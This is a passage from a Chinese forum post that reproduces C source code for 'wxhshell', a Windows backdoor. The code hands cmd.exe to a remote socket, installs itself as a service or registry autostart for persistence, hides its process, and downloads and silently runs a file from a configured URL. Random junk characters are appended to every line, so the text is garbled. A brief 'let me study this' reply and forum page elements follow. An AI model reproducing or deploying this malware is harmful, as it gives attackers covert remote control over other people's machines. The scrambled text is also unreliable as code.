  } Zp> v  
  else { ^o{{kju  
/@F'f@;  
    switch(cmd[0]) { x%l(0K  
  <NMJkl-r8r  
  // 帮助 v-tI`Qpb  
  case '?': { H-PVV&r   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n@8Y6+7i  
    break; 0&UG=q  
  } x ;|HT  
  // 安装 TKR#YJQ?K  
  case 'i': { $<v4c5r]O  
    if(Install()) dS ojq6M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2%sZaM  
    else UZI:st   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o]q~sJVk6  
    break;  u]Ku96!  
    } 6sBt6?_T  
  // 卸载 F:!6B b C  
  case 'r': { B/wD~xC?x  
    if(Uninstall()) HG;;M6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hOwb   
    else `(FjOd K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gsbr8zwG,  
    break; C2}y#AI  
    } v>]g="5}8  
  // 显示 wxhshell 所在路径 @G" nkB   
  case 'p': { QN#"c  
    char svExeFile[MAX_PATH]; bzFac5n)Q  
    strcpy(svExeFile,"\n\r"); a+E 8s7C/D  
      strcat(svExeFile,ExeFile); DK74s  
        send(wsh,svExeFile,strlen(svExeFile),0); eUcb e33  
    break; h mRmU{(Y  
    } pi?/]}:  
  // 重启 p^pd7)sBr  
  case 'b': { M0w Uis:`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Uj7YTB  
    if(Boot(REBOOT)) e,JBz~CK*w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l+9RPJD/:  
    else { YVMvT>/,  
    closesocket(wsh); W3,r@mi^s7  
    ExitThread(0); ~#E&E%sJ  
    } q[\3,Y  
    break; ,^([aK  
    } },8|9z#pyB  
  // 关机 NftnbsTmy  
  case 'd': { vwT1bw.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J@2jx4   
    if(Boot(SHUTDOWN)) I{89chi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q`1tUd4G  
    else { #kv9$  
    closesocket(wsh); 8g0 #WV  
    ExitThread(0); mD9Iao%4~  
    } |Q /LC0?  
    break; IU8zidn&  
    } cb^IJA9}  
  // 获取shell $VmV>NZ  
  case 's': { e3ZRL91c  
    CmdShell(wsh); 6CyByj&  
    closesocket(wsh); Ak?9a_f  
    ExitThread(0); M2Nh3ijr  
    break; a fa\6]m  
  } =Fz mifTc  
  // 退出 8xLQ" l+"  
  case 'x': { *|y'%y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ww{k_'RRJ  
    CloseIt(wsh); FEk9a^Xyx  
    break; Xex7Lr&  
    } X%YZQc9  
  // 离开 CH4Nz'X2  
  case 'q': { 6>WkisxG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +S~ u,=  
    closesocket(wsh); { 4j<X5V  
    WSACleanup(); :zU4K=kR  
    exit(1); ~!({U nt+'  
    break; 8WytvwB}  
        } 2U[/"JL  
  } t\/H.Hb  
  } Yb5U^OjyJ  
e8`d<U  
  // 提示信息 wo&IVy@s$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2!6hB sEr  
} (f&V 7n  
  } +PYV-@q  
/(~ HHNnh  
  return; Nf4@m|#  
} 791v>h    
bSIY|/d+  
// shell模块句柄 N6[Z*5efR  
int CmdShell(SOCKET sock) 'gN[LERT  
{ tV=Qt[|@  
STARTUPINFO si; ?*~ ~Ok  
ZeroMemory(&si,sizeof(si)); | d*<4-:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $(62j0mS>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @{IX do  
PROCESS_INFORMATION ProcessInfo; <2(X?,N5BD  
char cmdline[]="cmd"; (h wzA *(c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @>z.chM;  
  return 0; F[c oa5  
} eYv^cbO@:  
q,sO<1wAT\  
// 自身启动模式 D!* SA  
int StartFromService(void) CRo @+p10  
{ QO$18MBcc  
typedef struct <@M5 C -hH  
{ ^h_rE |c  
  DWORD ExitStatus; KYTXf+oh  
  DWORD PebBaseAddress; Zdrniae ah  
  DWORD AffinityMask; e[fld,s  
  DWORD BasePriority; -d?<t}a  
  ULONG UniqueProcessId; ` &=%p|  
  ULONG InheritedFromUniqueProcessId; D Z~036  
}   PROCESS_BASIC_INFORMATION; (Tq)!h35B  
A6KP(@   
PROCNTQSIP NtQueryInformationProcess; "'DPb%o  
@w33u^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JXuks`:Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p!E*A NwX  
AIP0PJI3  
  HANDLE             hProcess; M7qg\1L  
  PROCESS_BASIC_INFORMATION pbi; |+h x2?Nv  
k6 OO\=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &LV'"2ng8  
  if(NULL == hInst ) return 0; Z&@P<  
HE*^!2f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iu=@ h>C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  =glG |  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); klmbbLce  
Cno[:iom  
  if (!NtQueryInformationProcess) return 0; y@}WxSK*0  
9|jMN j]vo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yodhDSO5i  
  if(!hProcess) return 0; )l*3^kwL{U  
tv-SX=T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hXH+C-%{  
P=_W{6  
  CloseHandle(hProcess); VVF9X(^rQ  
e<DcuF<ZS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kJ* N`=  
if(hProcess==NULL) return 0; An]Vx<PD  
-Nr*na^H9#  
HMODULE hMod; h1'm[Y  
char procName[255]; 6ZjUC1  
unsigned long cbNeeded; e9\_H=t+  
YPs9Pqkn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :S`12*_g"  
{_>XsB  
  CloseHandle(hProcess); p>U= Jg  
>xRUw5jN  
if(strstr(procName,"services")) return 1; // 以服务启动 "SuG6!k3  
#m{F*(%  
  return 0; // 注册表启动 6Po {tKU  
} asW W@E  
{#t7lV'4  
// 主模块 t.!?"kP"c  
int StartWxhshell(LPSTR lpCmdLine) c*w0Jz>@.7  
{ Nn0j}ZI)1  
  SOCKET wsl; }V/iU_)  
BOOL val=TRUE; %f\j)qw  
  int port=0; $5#DU__F/  
  struct sockaddr_in door; OZKZv,  
C,O9?t  
  if(wscfg.ws_autoins) Install(); 1Uah IePf  
6XAofN/5f  
port=atoi(lpCmdLine); B&(/,.  
75h]# k9\  
if(port<=0) port=wscfg.ws_port; N+]HJ`K  
5IgO4<B  
  WSADATA data; y`z?lmV)xM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RdjoVCf  
iYW<qgz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nbf >Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fDXTedrG/  
  door.sin_family = AF_INET; yJw.z#bB#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sVlQ5M oo(  
  door.sin_port = htons(port); P-Gp^JX8  
H ~<.2b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fn5!Nr ,  
closesocket(wsl); F)aF.'$-/  
return 1; ?wIw$p>wT  
} bvl!^xO]  
)|]*"yf:E  
  if(listen(wsl,2) == INVALID_SOCKET) { f]Zj"Tt-  
closesocket(wsl); %xX b5aY  
return 1; 2`V0k.$?p  
} HbCcROl(  
  Wxhshell(wsl); $7O3+R/=  
  WSACleanup(); Z0 c|;  
;b|=osyT\  
return 0; n "I{aJ]K  
PmE 8O  
} <pFbm  
xjYH[PgfX  
// 以NT服务方式启动 O^~nf%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a0k/R<4  
{ q:wz!~(>  
DWORD   status = 0; WQ{^+C9g'1  
  DWORD   specificError = 0xfffffff; {(d 6of`C_  
Lu71Qdu09  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gP ^A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GG4FS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "`KT7  
  serviceStatus.dwWin32ExitCode     = 0; \h}sA  
  serviceStatus.dwServiceSpecificExitCode = 0; w,1*dn  
  serviceStatus.dwCheckPoint       = 0; K7,Sr1O `  
  serviceStatus.dwWaitHint       = 0; OP``+z>  
GCrsf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XS>( Bu  
  if (hServiceStatusHandle==0) return; Gl4f:`  
=s:Z-*vy!  
status = GetLastError(); 7#P Q1UWl  
  if (status!=NO_ERROR) ~qE:Nz0@  
{ 8wCB}qC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jn\>S z(96  
    serviceStatus.dwCheckPoint       = 0; MZ^(BOe_  
    serviceStatus.dwWaitHint       = 0; Vzh\ 1cF  
    serviceStatus.dwWin32ExitCode     = status; ?{1& J9H  
    serviceStatus.dwServiceSpecificExitCode = specificError; c`UizZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Y 4!   
    return; lgefTT GX)  
  } O}z-g&e.U  
cZ ,}1?!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i&L!?6 5-f  
  serviceStatus.dwCheckPoint       = 0; Nfd'|#  
  serviceStatus.dwWaitHint       = 0; :>3?|Z"Aj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p%+'iDb  
} riSgb=7q9  
l(Uwci  
// 处理NT服务事件,比如:启动、停止 u y13SkW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1+Q@RiW  
{ Yo}QW;,g  
switch(fdwControl) S3y(' PeF  
{ GjX6noqT  
case SERVICE_CONTROL_STOP: D1wONss  
  serviceStatus.dwWin32ExitCode = 0; 0>ce~KU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -]Aqt/w"l  
  serviceStatus.dwCheckPoint   = 0; aco w  
  serviceStatus.dwWaitHint     = 0; YN7JJJ/~T  
  { .|KBQMI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Uni6O)oc  
  } OyIIJ!(  
  return; dlioaYc  
case SERVICE_CONTROL_PAUSE: d*LW32B@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zCmx1Djz  
  break; ZtX CPA!  
case SERVICE_CONTROL_CONTINUE: KAnq8B!h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (JT 273  
  break; Pk`3sfz  
case SERVICE_CONTROL_INTERROGATE: 7DWGYvv[  
  break; 8Q73h/3  
}; kK.[v'[>&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZDmY${J  
} wAc;{60s]  
bg^ <e}{<H  
// 标准应用程序主函数 {vp*m :K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [G"Va_A8  
{ 5Rae?* XH  
yVyh\u\  
// 获取操作系统版本 "Ve9\$_s  
OsIsNt=GetOsVer(); $-paYQ4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a[E}o<{  
1/J6<FVq  
  // 从命令行安装 j7J'd?l  
  if(strpbrk(lpCmdLine,"iI")) Install(); nPUD6<bF  
#cqI0ny?G  
  // 下载执行文件 f7&9IW`7F^  
if(wscfg.ws_downexe) { =OFx4#6a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <sls1,  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0CK3jdZ+X  
} ur[^/lxx0  
$#E!/vVwD7  
if(!OsIsNt) { N{uVh;_  
// 如果时win9x,隐藏进程并且设置为注册表启动 plM:7#eA  
HideProc(); s133N?  
StartWxhshell(lpCmdLine); 0xfF  
} 7\yh<?`V8  
else k +Cwnp  
  if(StartFromService()) &"^U=f@v  
  // 以服务方式启动 `7R-2 w<b?  
  StartServiceCtrlDispatcher(DispatchTable); b8glZb*$  
else x7/";L>  
  // 普通方式启动 eU8p;ajW!L  
  StartWxhshell(lpCmdLine); WJN) <+d  
#Sg"/Cc  
return 0; Yh; A)N p  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八